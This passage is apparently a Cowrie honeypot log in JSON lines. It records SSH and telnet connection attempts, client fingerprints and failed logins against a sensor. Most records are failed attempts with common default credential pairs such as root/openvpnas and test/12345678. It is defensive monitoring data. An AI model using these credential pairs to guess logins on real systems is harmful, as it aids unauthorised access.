sh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:09.391005Z","src_ip":"141.11.88.14","session":"780b5981bbf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:10.426074Z","src_ip":"103.143.231.24","session":"4e1099ae0f71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:11.380089Z","src_ip":"141.11.88.14","session":"780b5981bbf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41884,"dst_ip":"159.203.135.109","dst_port":23,"session":"559a65fbc12b","protocol":"telnet","message":"New connection: 172.81.62.90:41884 (159.203.135.109:23) [session: 559a65fbc12b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:12.241707Z"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:12.706458Z","src_ip":"141.11.88.14","session":"780b5981bbf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":45150,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d704714cc9d","protocol":"ssh","message":"New connection: 141.11.88.14:45150 (10.17.0.5:22) [session: 6d704714cc9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:16.987248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:17.102014Z","src_ip":"141.11.88.14","session":"6d704714cc9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:17.105218Z","src_ip":"141.11.88.14","session":"6d704714cc9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"openmediavault","message":"login attempt [root/openmediavault] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:18.403888Z","src_ip":"141.11.88.14","session":"6d704714cc9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:19.506934Z","src_ip":"141.11.88.14","session":"6d704714cc9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44372,"dst_ip":"10.17.0.5","dst_port":22,"session":"37798f04d523","protocol":"ssh","message":"New connection: 141.11.88.14:44372 (10.17.0.5:22) [session: 37798f04d523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:24.319628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:24.640596Z","src_ip":"141.11.88.14","session":"37798f04d523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:24.644764Z","src_ip":"141.11.88.14","session":"37798f04d523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"openvpnas","message":"login attempt [root/openvpnas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:26.201338Z","src_ip":"141.11.88.14","session":"37798f04d523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:27.292002Z","src_ip":"141.11.88.14","session":"37798f04d523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.33582544326782,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:28.174029Z","src_ip":"128.199.8.54","session":"76a7a272d4f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35488,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6be6ab164e2","protocol":"telnet","message":"New connection: 128.199.8.54:35488 (159.203.135.109:23) [session: e6be6ab164e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:31.822061Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":32880,"dst_ip":"159.203.135.109","dst_port":22,"session":"065b687c5b0b","protocol":"ssh","message":"New connection: 160.191.244.158:32880 (159.203.135.109:22) [session: 065b687c5b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:32.810727Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":32990,"dst_ip":"10.17.0.5","dst_port":22,"session":"2018c59aab42","protocol":"ssh","message":"New connection: 141.11.88.14:32990 (10.17.0.5:22) [session: 2018c59aab42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:32.816774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:32.821634Z","src_ip":"160.191.244.158","session":"065b687c5b0b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:32.954605Z","src_ip":"141.11.88.14","session":"2018c59aab42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:32.959085Z","src_ip":"141.11.88.14","session":"2018c59aab42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:33.062147Z","src_ip":"160.191.244.158","session":"065b687c5b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":42602,"dst_ip":"10.17.0.5","dst_port":22,"session":"23258c714641","protocol":"ssh","message":"New connection: 194.113.233.25:42602 (10.17.0.5:22) [session: 23258c714641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:33.272648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:33.281540Z","src_ip":"194.113.233.25","session":"23258c714641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:33.373374Z","src_ip":"194.113.233.25","session":"23258c714641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWEasd","message":"login attempt [root/123QWEasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:33.448549Z","src_ip":"141.11.88.14","session":"2018c59aab42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10101995","message":"login attempt [root/10101995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:33.651758Z","src_ip":"194.113.233.25","session":"23258c714641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wagner","password":"wagner","message":"login attempt [wagner/wagner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:34.053437Z","src_ip":"160.191.244.158","session":"065b687c5b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:34.532993Z","src_ip":"141.11.88.14","session":"2018c59aab42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:34.745734Z","src_ip":"194.113.233.25","session":"23258c714641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:35.295059Z","src_ip":"160.191.244.158","session":"065b687c5b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.1767418384552,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:36.465038Z","src_ip":"128.199.8.54","session":"e369a0e95ebb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52420,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c3a7d6e81d8","protocol":"telnet","message":"New connection: 172.81.62.90:52420 (159.203.135.109:23) [session: 7c3a7d6e81d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:37.751863Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56928,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a3b5be13f92","protocol":"ssh","message":"New connection: 141.11.88.14:56928 (10.17.0.5:22) [session: 5a3b5be13f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:40.733580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:40.789542Z","src_ip":"141.11.88.14","session":"5a3b5be13f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:40.870830Z","src_ip":"141.11.88.14","session":"5a3b5be13f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:41.328297Z","src_ip":"141.11.88.14","session":"5a3b5be13f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:42.576491Z","src_ip":"141.11.88.14","session":"5a3b5be13f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":32022,"dst_ip":"10.17.0.5","dst_port":22,"session":"c07644435678","protocol":"ssh","message":"New connection: 141.11.88.14:32022 (10.17.0.5:22) [session: c07644435678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:47.930457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:48.013805Z","src_ip":"141.11.88.14","session":"c07644435678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:48.017483Z","src_ip":"141.11.88.14","session":"c07644435678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345678","message":"login attempt [test/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:48.930301Z","src_ip":"141.11.88.14","session":"c07644435678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:50.170245Z","src_ip":"141.11.88.14","session":"c07644435678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.95743799209595,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:52.199008Z","src_ip":"172.81.62.90","session":"559a65fbc12b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":32048,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff593c4a5566","protocol":"ssh","message":"New connection: 141.11.88.14:32048 (10.17.0.5:22) [session: ff593c4a5566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:54.462045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:54.556670Z","src_ip":"141.11.88.14","session":"ff593c4a5566","protocol":"ssh"}
